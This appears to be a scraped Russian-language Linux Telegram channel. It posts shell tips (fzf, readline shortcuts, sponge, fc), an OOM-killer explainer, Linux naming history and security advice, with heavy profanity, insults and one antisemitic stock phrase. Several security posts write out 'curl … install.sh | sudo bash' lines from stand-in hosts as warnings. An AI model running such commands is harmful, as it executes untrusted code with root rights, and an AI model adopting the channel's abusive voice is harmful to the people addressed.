linux.exex [GFYB]
158 subscribers
745 photos
86 videos
9 files
492 links
GFYB - go fuck yourself bitch. This Is team GFYB. goida
Download Telegram
fzf — штука, после которой ты не понимаешь, как раньше жил без неё

Если ты до сих пор жмёшь стрелку вверх двадцать раз, чтобы найти нужную команду в истории, или пишешь find с тремя уровнями вложенности, чтобы отыскать файл — у меня для тебя плохие новости. Ты теряешь время на хуйню.

fzf — это нечёткий поиск по чему угодно. Файлы, история команд, процессы, git-ветки, хосты в ssh-конфиге. Ты вводишь пару букв, он мгновенно сужает список, ты жмёшь Enter и получаешь результат. Всё. Никаких регулярок на три строки, никаких grep | awk | cut | sed в четыре трубы.

Ставится за секунду:

На Arch: pacman -S fzf
На Debian/Ubuntu: apt install fzf
На macOS: brew install fzf

Потом пишешь в.bashrc или.zshrc:

source /usr/share/fzf/key-bindings.bash
source /usr/share/fzf/completion.bash

Или если через git ставил — просто запусти скрипт install из репозитория, он сам всё подключит.

Что это даёт на практике:

Ctrl+R — поиск по истории команд. Не тупой инкрементальный, а нормальный нечёткий. Пишешь "dock" и видишь все команды, где было docker, докер-компоуз, и прочее. Стрелками выбираешь, Enter — и команда в терминале.

Ctrl+T — поиск файлов прямо из текущей директории. Набираешь часть имени, видишь список, выбираешь. Работает внутри любой команды. Пишешь vim, жмёшь Ctrl+T, выбираешь файл — и он уже открыт.

Alt+C — прыжок в поддиректорию. Не надо помнить точный путь. Пишешь три буквы из названия папки — и ты там.

Но это только база. Настоящая магия начинается, когда ты пихаешь fzf в пайпы. Хочешь убить процесс? ps aux | fzf и выбираешь. Хочешь переключить git-ветку? git branch | fzf | xargs git checkout. Хочешь выбрать файл из вывода любого говна — просто пайпь в fzf.

Работает на любой Unix-системе, написан на Go, один бинарник, ноль зависимостей, жрёт памяти меньше, чем вкладка в Хроме.

Если ты разработчик и до сих пор без fzf — ты работаешь медленнее, чем мог бы. Это не софт-скилл, это буквально кнопка "перестань страдать".

Подпишись на создателей: https://t.me/linuxexex
Kurz von Daun ✠ ☧
блять
заткнись вонючка
Если ты до сих пор зажимаешь стрелочку влево и сидишь пять секунд ждешь, пока курсор доползет до начала стометровой команды, у меня для тебя плохие новости: ты тратишь свою жизнь на хуйню.

Терминал это инструмент для быстрых, а не для тех, кто любит дрочить клавиатуру. Лови базовый набор горячих клавиш readline, которые экономят часы чистого времени, если перестать вести себя как пользователь блокнота на винде.

Первое. Перемещение без онанизма.
Забудь про стрелочки вообще.
Ctrl + A кидает курсор в самое начало строки моментально.
Ctrl + E швыряет его в самый конец.
Alt + F прыгает на одно слово вперед, Alt + B прыгает на слово назад. Одной этой тройкой ты уже срезаешь кучу времени при редактировании длинных команд, вроде километровых docker run или сложных пайплайнов из грепов.

Второе. Быстрое удаление мусора.
Зажимать Backspace и ждать это позор.
Ctrl + W стирает ровно одно слово перед курсором. Ошибся в пути к файлу? Одно нажатие, и последнего сегмента нет, пиши правильный.
Ctrl + U сносит нахер вообще все от курсора до начала строки. Если понял, что накатал полную дичь, нажал и строка чистая.
Ctrl + K наоборот, сносит все от курсора до конца строки.

Третье. Мой любимый лайфхак: вытягивание последнего аргумента.
Комбинация Alt + точка.
Допустим, ты создал директорию: mkdir -p /var/log/very_long_project_name/temp/
Что делает обычный юзер? Пишет cd и начинает судорожно копировать путь мышкой или ковырять таб.
Что делает нормальный человек? Пишет cd, жмет Alt +. и терминал сам подставляет хвост предыдущей команды. Нажмешь еще раз вытащит аргумент из позапрошлой. Это экономит тонны нервов.

Четвертое. Забыл права.
Написал команду, нажал Enter, получил в морду permission denied. Знакомо? Не надо жать стрелку вверх, листать в начало и дописывать sudo.
Просто напиши: sudo!!
Два восклицательных знака автоматически разворачиваются во всю твою предыдущую команду целиком.

Пятое. Поиск по истории.
Ctrl + R. Начинаешь вбивать пару букв из команды, которую запускал три дня назад, шелл находит совпадение, жмешь Enter и погнали. А если поверх накатить утилиту fzf, поиск по истории вообще превратится в сказку с нечетким поиском на лету.

Вбей эти сочетания в мышечную память. Первые пару дней придется бить себя по рукам, чтобы не тянуться к стрелкам, но потом ты начнешь строчить в шелле быстрее, чем думает среднестатистический джун.

Подпишись на создателей: https://t.me/linuxexex
Сколько раз ты, гений терминала, наяривал длинную составную команду с пайпами, циклами и sed-магией, потом ошибался в одной гребаной кавычке и судорожно дрочил стрелочки влево-вправо, чтобы ее исправить? Или, что еще хуже, случайно нажимал Enter, ломал пайплайн, а потом матерился на весь опенспейс?

Большинство до сих пор живет в каменном веке и правит многострочные простыни прямо в строке шелла, как будто им за страдания доплачивают. Хотя в bash и zsh уже сто лет есть встроенный механизм, превращающий этот ад в нормальную работу.

Фишка называется edit-and-execute-command, и активируется она сочетанием клавиш:
Ctrl + X, затем Ctrl + E.

Как это работает на практике.
Ты начинаешь писать команду в терминале. Понимаешь, что получается монстр на три строки, где легко обгадиться. Вместо того чтобы мучаться в слепом однострочнике, жмешь Ctrl+X потом сразу Ctrl+E.
Твой шелл берет все, что ты успел напечатать, закидывает во временный файл и открывает в твоем дефолтном текстовом редакторе. В nano, vim, neovim или что у тебя там прописано в переменной EDITOR.

Там ты спокойно, со всеми привычными хоткеями, подсветкой, переносами и поиском дописываешь команду, правишь опечатки, сохраняешь файл и выходишь. В ту же секунду шелл забирает отредактированный текст и мгновенно выполняет его. Без лишних телодвижений и копипасты мышкой.

Если ты используешь zsh, эта штука может быть не включена по дефолту. Чтобы она завелась, просто докинь в свой.zshrc три строчки:
autoload -Uz edit-command-line
zle -N edit-command-line
bindkey '^x^e' edit-command-line

А если ты УЖЕ выполнил команду, она упала с синтаксической ошибкой, и ты хочешь ее исправить задним числом без листания истории? Есть древняя утилита fc.
Просто пишешь в терминале fc и жмешь Enter. Откроется редактор с твоей предыдущей упавшей командой. Поправил, закрыл редактор, команда пошла на повторное исполнение. Если надо отредактировать какую-то конкретную команду из истории, например под номером 420, пишешь fc 420.

Перестаньте насиловать клавиши со стрелками и тратить нервы на опечатки в терминале. Шелл умеет работать с вашим редактором из коробки, просто вы почему-то продолжаете жрать кактус.

Подпишись на создателей: https://t.me/linuxexex
Каждый второй хоть раз в жизни наступал на эти тупые грабли: надо по-быстрому отфильтровать или отсортировать конфиг, и ты на полном серьезе пишешь в консоль что-то вроде cat config.txt | grep -v trash > config.txt. Нажимаешь Enter, открываешь файл, а там нихера. Пустота, тишина и звенящая боль в районе поясницы. Шелл радостно затер файл до того, как grep вообще успел понять, что происходит.

Нормальные люди после этого начинают плодить ублюдские временные файлы: сначала вывод во всякие config.tmp, потом mv config.tmp config.txt, потом забывают это говно удалить.

Команда, о которой вечно забывают или тупо не знают — sponge. Она лежит в пакете moreutils и делает ровно то, ради чего ее назвали губкой: впитывает весь входящий поток до последней капли и только после закрытия пайплайна смачно выплевывает его в указанный файл.

Как это выглядит на практике:
cat config.txt | grep -v trash | sponge config.txt

И все, блять. Никаких пустых файлов, никаких временных помоек в директории. Если данных дохера, sponge спокойно скидывает их во временный буфер на диске, так что оперативку не разорвет.

Ставится элементарно:
apt install moreutils (или pacman, dnf, в зависимости от того, на чем крутится твой дистрибутив).

Пользуйтесь и прекращайте насиловать файлы костылями из девяностых.

Подпишись на создателей: https://t.me/linuxexex
Самая большая дыра в безопасности любого дистрибутива Линукса находится ровно в полуметре от монитора и давит пальцами по клавишам.

Среднестатистический адепт пингвина обожает надрачивать на свою мнимую неуязвимость. Мол, винда для лохов, там малварь, трояны и телеметрия, а я сижу на своем дистрибутиве, у меня тут неприступная крепость, опенсорс и полная приватность.

А потом этот же сверхразум открывает чужой репозиторий на Гитхабе от неизвестного черта с аниме на аватарке и делает curl хуйня.sh | sudo bash. Без чтения кода, без проверки контрольных сумм, просто потому что автор в ридми написал скопировать эту строчку для быстрой установки сраной темы оформления. Браво, блять. Ты только что сам, добровольно скормил рутовому шеллу чужой скрипт, в котором с равным успехом мог лежать скрытый майнер, реверс-шелл или банальное удаление системы.

Второй любимый маневр комнатных сисадминов это борьба с правами доступа. Запустил веб-сервер, словил ошибку 403 или отказ в записи, подумал ровно две секунды и въебал chmod -R 777 на всю директорию к хуям. Зато заработало. Теперь любой залетевший шелл будет чувствовать себя на твоей машине как дома у родной мамы, потому что двери не просто открыты, они нахуй выломаны.

Про удаленные серваки вообще отдельная комедия. Покупается VPS за пару баксов, дефолтный 22 порт торчит наружу, аутентификация по паролю включена, вход под рутом разрешен, а сам пароль уровня qwerty123. Через сорок минут китайские ботнеты уже натянули этот бедный сервер на кукан, а линуксоид сидит и удивляется, почему процессор долбится в сотку, а хостер шлет абузы за участие в DDoS-атаках.

Главный совет по безопасности для линуксоида предельно прост: перестань вести себя так, будто система защитит тебя от собственной тупости.

Выруби аутентификацию по паролям в sshd_config и перейди на ключи. Запрети прямой логин под рутом.
Перестань пайпить неизвестные скрипты из сети напрямую в терминал. Сначала скачай, открой глазами и прочитай, что этот скрипт делает. Если нихуя не понимаешь синтаксис bash, значит, не запускай это дерьмо вообще.
Забудь про chmod 777. Разбирайся в группах, владельцах файлов и правах, а не решай проблемы раздачей прав на запись всему живому.
Не ставь бездумно пакеты из сомнительных PPA, AUR или левых репозиториев, если не знаешь, кто их собрал.

Линукс дает полный контроль над системой, но он же дает тебе абсолютную свободу выстрелить себе в колено без предупреждающих табличек. Безопасность заканчивается там, где начинается лень читать логи и мануалы.

Подпишись на создателей: https://t.me/linuxexex
Покер Double or Nothing: опенсорсная игра под ПК и Android вышла в Steam

Я сделал это: сыграйте в Poker Double or Nothing и удваивайте свой баланс, правильно угадывая следующую карту в фазе азартной игры.

Игра поддерживает кастомные графические паки от комьюнити, включая карты и обои.

Исходный код доступен, а также игру можно купить в Steam за 2 доллара. Сейчас как раз действует скидка в 2 доллара.

Ссылка на Steam:
Исходный код:

Версия для Android тоже есть (apk-файл лежит на странице GitHub).
Сделано на движке Godot Engine.

Паки от комьюнити: дополнительные наборы карт и обои (распаковывать в Documents/pokerdon):

Источник (r/opensource): https://www.reddit.com/r/opensource/comments/1wv40y0/poker_double_or_nothing_for_desktop_android_open/

Подпишись на создателей: https://t.me/linuxexex
Главный совет по безопасности для любого мамкиного линуксоида: закрой ебало насчет неуязвимости пингвина и перестань творить хуйню своими же руками.

Половина юзеров ставит дистрибутив, натягивает анимешные обои в тайлинговом WM и свято верит, что теперь они цифровые ниндзя, неуязвимые для малвари, спецслужб и соседа-кулхацкера. А потом эти же гении делают две вещи: запускают левый скрипт через пайп прямо в шелл и раздают полные права на системные папки, потому что сервис не стартовал.

Вам не нужен антивирус не потому, что Линукс невзламываемый, а потому что вы сами отдаете рута первому попавшемуся говну из интернета.

Если не хочешь, чтобы твой домашний сервак или десктоп превратился в ноду китайского ботнета или майнер монеро, запомни базу.

Первое. Выруби наглухо парольную аутентификацию по SSH. Если у тебя наружу торчит 22 порт с включенным PasswordAuthentication, и пароль там слабее, чем случайная строка из 30 символов, ты клинический идиот. Только SSH-ключи, желательно ed25519, запароленные локальным пассфрейзом. И настрой fail2ban, чтобы китайцы не долбили твой бедный демон тысячами запросов в секунду.

Второе. Завязывай с curl | sudo bash. Увидел в модном репозитории команду curl https://shady-script.io/install.sh | bash? Не трогай ее, сука. Сначала скачай, открой в vim или nano и прочитай глазами каждую строчку. Узнаешь много интересного о том, куда этот скрипт стучится и что он тянет тебе в систему.

Третье. chmod 777 это не фикс прав, это расписка в собственном скудоумии. Если у тебя веб-сервер не может прочитать конфиг или скрипт не может записать лог, разбирайся с владельцами через chown и группами, а не открывай дыру размером с черную дыру. Давая 777, ты буквально вешаешь табличку ебите меня кто хочет.

Четвертое. Забудь про постоянный рут. Сидеть под рутом ради удобства чтобы не вводить sudo это уровень развития инфузории-туфельки. Достаточно одной опечатки в терминале или кривого Makefile, чтобы твоя система помножилась на ноль.

Линукс дает тебе полный контроль, а это значит, что он с радостью и без лишних вопросов выполнит команду на самоуничтожение, если ты сам ему прикажешь. Вся безопасность системы заканчивается там, где начинаются твои кривые клешни. Включай мозги перед тем, как жать Enter.

Подпишись на создателей: https://t.me/linuxexex
Главный совет по безопасности для любого линуксоида, от которого у половины красноглазых обычно трещит пердак: сними корону, ты такое же тупое решето, как и юзер винды, только с неоправданным ЧСВ.

Почему-то каждый второй пингвиновод уверен, что сам факт установки дистрибутива делает его неуязвимым хакером из фильмов девяностых. Типа, вирусов под линукс нет, малварь не пройдет, я в домике. А потом этот гений открывает гитхаб неизвестного васяна и радостно хуярит в терминал команду вида curl https://shnyaga.io/install.sh | sudo bash.

Ты вообще смотрел, что там внутри этого скрипта? Нет, конечно, нахуя тратить пять секунд жизни, если можно сразу отдать рутовые права непонятно кому. Зато без антивируса, свобода и опенсорс. А потом твой сервер почему-то греет комнату, майня монеро китайским школьникам, пока ты на реддите рассуждаешь о превосходстве своей системы.

Если хочешь, чтобы твою систему не пустили по кругу в первые же сутки, запомни три простые вещи.

Первое. Завязывай пайпить сторонние скрипты прямо в шелл от рута. Скачай, открой текстовым редактором, по диагонали проверь хотя бы, нет ли там явного дерьма, и только потом запускай. Это касается и слепого доверия к AUR, pip, npm и прочим помойкам, откуда ты тащишь пакеты без разбора.

Второе. Твой SSH не должен светить голой жопой в интернет. Вход по паролю под рутом на 22 порту это буквально приглашение на групповуху для всех сканеров сети. Отключи вход по паролю, настрой ключи с нормальным паролем на сам ключ, смени дефолтный порт, чтобы логи не засирались ботами каждую секунду, и поставь fail2ban или crowdsec.

Третье. Следи за своими демонами и контейнерами. Классическая ловушка для дурачков: настроить UFW, почувствовать себя в безопасности, а потом поднять Docker-контейнер с базой данных, который через iptables молча пробросит порт 0.0.0.0 прямо наружу в обход твоего фаервола. И все твои секретики уже лежат на Shodan.

Линукс дает полный контроль над системой, но это значит, что он дает тебе полный контроль над собственным выстрелом себе в колено. Думай башкой перед тем, как жать Enter, делай бэкапы на физически отключенный носитель и перестань думать, что пингвин на обоях защитит тебя от собственной тупости.

Подпишись на создателей: https://t.me/linuxexex
Протухшего железа и некрофилии тред ✮ 1981

Здесь обсуждаются пекарни и комплектующие, не предназначенные для запуска актуальных игр и современного тяжёлого софта — от коллекционных компьютеров типа cпектрума до своих ежедневных трудяг конца эпохи DDR3. Железо, выпущенное в 2015 году и позже, игровые сборки и современные зионы обсуждаются в других тредах.

Разгон кор2квад или сборка пекарни для вин95 — это сюда.

Значимые события для 1981 года

Был выпущен IBM PC на базе процессора 8088. Эпохальное событие. Под него была также выпущена MS-DOS тогда ещё маленькой компанией Microsoft

Также в 1981 году 15-летний школьник Ричард Скрента написал программу Elk Cloner для компьютера Apple II. Вирус распространялся через дискеты и выводил на экран стихотворение. Это был первый случай заражения личных компьютеров пользователей за пределами лабораторий.

Ссылка на предыдущий тред
https://2ch.org/hw/res/7817138.html#bottom https://2ch.org/hw/res/7817138.html#bottom

Источник (2ch /hw/): https://2ch.org/hw/res/7839439.html

Подпишись на создателей: https://t.me/linuxexex
Сколько можно страдать хуйней в терминале. Вы каждый день открываете консоль, дрочите cd, судорожно жмете Tab пятьсот раз, чтобы попасть в нужную папку, а потом пытаетесь вспомнить, какую команду вбивали во вторник, листая бесконечный стандартный Ctrl+R.

Если ты до сих пор ищешь файлы через find или грепаешь историю команд руками, добро пожаловать в каменный век. Инструмент, который должен стоять у любого нормального разработчика в первый же день после накатывания системы, это fzf. Командный фаззи-файндер, который превращает работу с терминалом из унылой возни в моментальное действие.

Что это такое для тех, кто сидел в бункере: fzf это интерактивный нечеткий поиск по вообще всему. Ты печатаешь пару букв с опечатками, вперемешку, как пьяный матрос, а он выдает ровно то, что тебе нужно. Ему плевать на точный порядок символов, он находит совпадения на лету.

Где он спасает жопу ежедневно:

1. Нормальный Ctrl+R. Стандартный поиск по истории в bash или zsh это убожество. С fzf нажатие Ctrl+R открывает интерактивный список, где ты видишь всю свою историю, ищешь по обрывкам давно забытых флагов и выбираешь нужную команду за полсекунды.

2. Поиск файлов без боли. Забудь про унылые простыни вывода. Натравил fzf на дерево каталогов, нажал пару клавиш и сразу открыл конфиг, исходник или какую-нибудь зарытую на двадцать уровней вглубь срань. С плагином bat он еще и покажет превью содержимого файла прямо в терминале с подсветкой синтаксиса.

3. Убийство процессов без геморроя. Вместо связки ps aux, грепа, вырезания PID через awk и последующего вызова kill, ты просто пишешь короткий алиас. Вылезает интерактивный список процессов, выбираешь зависший процесс стрелками или поиском по имени и прибиваешь его на месте.

4. Git без простыней логов. Переключение веток, чекаут, выбор коммита для черри-пика или интерактивного ребейза. Ты просто выбираешь хэш из интерактивного списка, а не копируешь его мышкой как офисный планктон.

Инструмент написан на Go, весит копейки, запускается моментально и жрет ноль ресурсов. Заводится везде: Linux, macOS, WSL. Интегрируется с vim, neovim, zsh, fish, tmux и вообще с любым шеллом.

Ставится одной командой через любой пакетный менеджер: pacman, apt, brew, dnf. Если ты до сих пор его не накатил, перестань насиловать клавиатуру и настрой нормальный поиск. Время, сэкономленное на тупом перепечатывании путей, окупит установку в первый же час работы.

Подпишись на создателей: https://t.me/linuxexex
Сегодня поговорим про самую отбитую и одновременно спасительную подсистему ядра, о которой вспоминают только тогда, когда сервер уже бьется в конвульсиях. Речь про OOM Killer, он же Out-Of-Memory Killer, он же штатный палач твоего линукса.

Чтобы понять, как эта херня работает, надо сначала врубиться в одну еврейскую хитрость ядра Linux под названием overcommit.

Представь кабак, в котором всего десять стульев. Но бармен раздает бронь на сто человек, надеясь, что одновременно все бухать не придут: кто-то сдохнет по дороге, кто-то выпьет одну рюмку и свалит. В ядре это работает ровно так же. Процессы постоянно просят память про запас через malloc, а ядро им щедро кивает: бери, братан, сколько влезет. На деле физические страницы оперативы выделяются только тогда, когда процесс реально начинает туда что-то писать, а не просто зарезервировал.

Но иногда случается день города, и в кабак реально вваливается вся сотня голодных рыл. Все начинают писать в свою запрошенную память, свободный RAM превращается в ноль, своп захлебывается и встает колом, система впадает в ступор. Если ядро ничего не сделает, повиснет вообще все намертво, включая прерывания процессора.

Вот тут из темноты с дробовиком выходит OOM Killer.

Его задача простая и тупая как бревно: найти виновного и показательно расстрелять его к хуям через SIGKILL, чтобы освободить оперативку и спасти остальную систему.

Как палач выбирает жертву? У него нет совести, но есть калькулятор. Для каждого процесса считается так называемый oom_score. Это циферка от 0 до 1000, отражающая, насколько процесс охуел:
1. Базовый фактор: сколько процентов реальной памяти сожрал процесс. Чем жирнее кабан, тем привлекательнее он для забоя.
2. Ручные настройки через oom_score_adj. Если ты админ и знаешь, что база данных должна жить любой ценой, ты можешь выставить ей минус тысячу, и киллер ее не тронет, даже если все вокруг сгорит.
3. Дополнительные коэффициенты: процессы от рута слегка прикрываются от расправы, короткоживущие процессы имеют другой вес, но в 99 процентах случаев палач тупо берет самый раздутый кусок софта.

Обычно первыми под нож ложатся вкладки хрома на десктопе или какая-нибудь ебучая джава с ее ненасытным хипом на сервере. База данных типа Postgres тоже любит ловить эту маслину, если кто-то криво настроил буферы.

Убийство происходит мгновенно: процесс получает сигнал номер девять, не успевает даже вякнуть в лог или сохранить данные на диск, ядро забирает его страницы обратно, сервер делает судорожный вдох и продолжает жить. А ты потом сидишь в dmesg и пытаешься понять, куда делся твой любимый сервис.

Если тебе не нравится, что линукс ведет себя как отморозок с пушкой, overcommit можно отключить через vm.overcommit_memory равный двум. Тогда ядро перестанет обещать память, которой нет, и процессы будут падать цивилизованно прямо в момент вызова malloc с ошибкой нехватки памяти. Но тогда половина твоего софта вообще перестанет запускаться, потому что современные разработчики разучились проверять ошибки выделения памяти.

Так что OOM Killer это не баг, а единственный способ выжить в мире, где софт пишут криворукие оптимизаторы, жрущие гигабайты под вывод пары строчек текста.

Подпишись на создателей: https://t.me/linuxexex
Ебать
В 1991 году Линус Торвальдс вовсе не планировал называть операционную систему своим именем. Он считал название Linux слишком эгоистичным и претенциозным.

Изначально проект носил рабочее имя Freax. Торвальдс скомбинировал слова free (свободный), freak (странный, чудаковатый) и добавил букву X как дань уважения семейству Unix. Под этим названием код развивался первые месяцы на его личном компьютере.

Когда проект дорос до публичного релиза, файлы потребовалось выложить на FTP-сервер Хельсинкского технологического университета (ftp.funet.fi). Занимался этим системный администратор университета Ари Леммке.

Леммке посчитал название Freax нелепым и откровенно неудачным для серьезного программного обеспечения. Не спросив Торвальдса, он создал на сервере директорию pub/OS/Linux и разместил исходники именно там. Линус спорить не стал, решив не тратить время на переименование каталога обратно, а скачивавшие код энтузиасты моментально закрепили за системой имя создателя.

Если бы не самоуправство финского сисадмина, современные серверы и дистрибутивы сегодня носили бы имена вроде Debian Freax, Arch Freax и Red Hat Enterprise Freax.

Подпишись на создателей: https://t.me/linuxexex
Сравнение популярных дистрибутивов проще всего понять на одной задаче: вам нужно поставить свежий драйвер или софт, которого нет в стандартном репозитории трехлетней давности.

Возьмем конкретный пример: установка свежей версии пакета для работы или запуск свежей игры через Proton.

Ubuntu.
Вы вводите команду установки, но оказывается, что нужная утилита теперь распространяется исключительно через Snap. Пакет стартует медленно, изолирован от половины системы, а при попытке подключить PPA-репозиторий вы рискуете сломать зависимости при следующем крупном обновлении релиза. Для новичка это кажется простым решением, но со временем система обрастает костылями.

Arch Linux.
Здесь нужный пакет уже собран и лежит либо в основном репозитории, либо в AUR. Вы ставите его одной командой pacman или yay. Все работает быстро и нативно. Обратная сторона медали: если вы не заглянули на сайт проекта перед обновлением ядра и системных библиотек, очередной запуск системы может потребовать ручной правки конфигов через chroot с загрузочной флешки.

Debian.
В репозитории стабильной ветки нужного софта просто нет, потому что там зафиксированы версии двухлетней давности ради абсолютной надежности. Чтобы получить свежую версию, приходится подключать ветку testing, бэкпорты или собирать проект из исходников. Если система настроена один раз, она не упадет даже при ядерном взрыве, но получить новые возможности без ручного вмешательства практически невозможно.

Fedora.
Компромисс между стабильностью и свежестью. Свежее ядро, актуальные пакеты каждые полгода. Однако поддержка проприетарных драйверов и кодеков по умолчанию отключена из-за лицензионных соображений разработчиков, поэтому первым делом приходится подключать сторонний RPM Fusion.

Итог:
Если нужна стабильность сервера без вмешательства человека годами, выбирают Debian.
Если нужен самый свежий софт и полный контроль над процессом, выбирают Arch.
Если нужен рабочий инструмент со свежими библиотеками из коробки, выбирают Fedora.
Ubuntu остается выбором тех, кому важна максимальная совместимость с корпоративными гайдами и готовыми скриптами.

Подпишись на создателей: https://t.me/linuxexex
Ужасный кусок говна с омерзительным UX

Horrible piece of shit with god awful UX
The moment you try to use federation it lags so hard your session locks up for HOURS

Источник (4chan /g/): https://boards.4chan.org/g/thread/109902931

Подпишись на создателей: https://t.me/linuxexex
Если вы до сих пор вручную перепечатываете длинные команды или тратите время на повторный ввод, когда забыли про sudo, вот база, которая экономит кучу времени каждый день.

1. Магия двух восклицательных знаков.
Запустили тяжелую команду или полезли править конфиг в /etc, а система выдает Permission denied? Не надо нажимать стрелку вверх, листать в начало и дописывать sudo. Просто вводите:
sudo!!
Оболочка подставит последнюю выполненную команду целиком.

2. Быстрая вставка последнего аргумента.
Создали директорию через mkdir /long/path/to/project и теперь нужно туда перейти? Вместо копирования пути жмите:
cd Alt +.
Комбинация Alt и точки (или Esc, затем точка) автоматически вставляет последний аргумент предыдущей команды. Если нажать комбинацию несколько раз подряд, она будет листать аргументы из более ранних команд.

3. Поиск по истории без листания стрелками.
Чтобы мгновенно найти команду, которую вы запускали три дня назад, жмите Ctrl + R и начинайте вводить пару букв из нее. Терминал сам найдет совпадение. Нажатие Ctrl + R повторно переключает на следующее совпадение назад во времени. Чтобы прервать поиск, нажмите Ctrl + G, чтобы сразу выполнить найденное — Enter, а чтобы отредактировать — любую стрелку.

4. Мгновенная очистка строки.
Напечатали длинную команду, но передумали ее запускать? Не зажимайте Backspace. Нажмите Ctrl + C, чтобы сбросить ввод, или Ctrl + U, чтобы вырезать все от курсора до начала строки.

Настройте эти комбинации в мышечную память, и работа в консоли станет в разы быстрее.

Подпишись на создателей: https://t.me/linuxexex
я просто мак бук включил
даун не обтесаный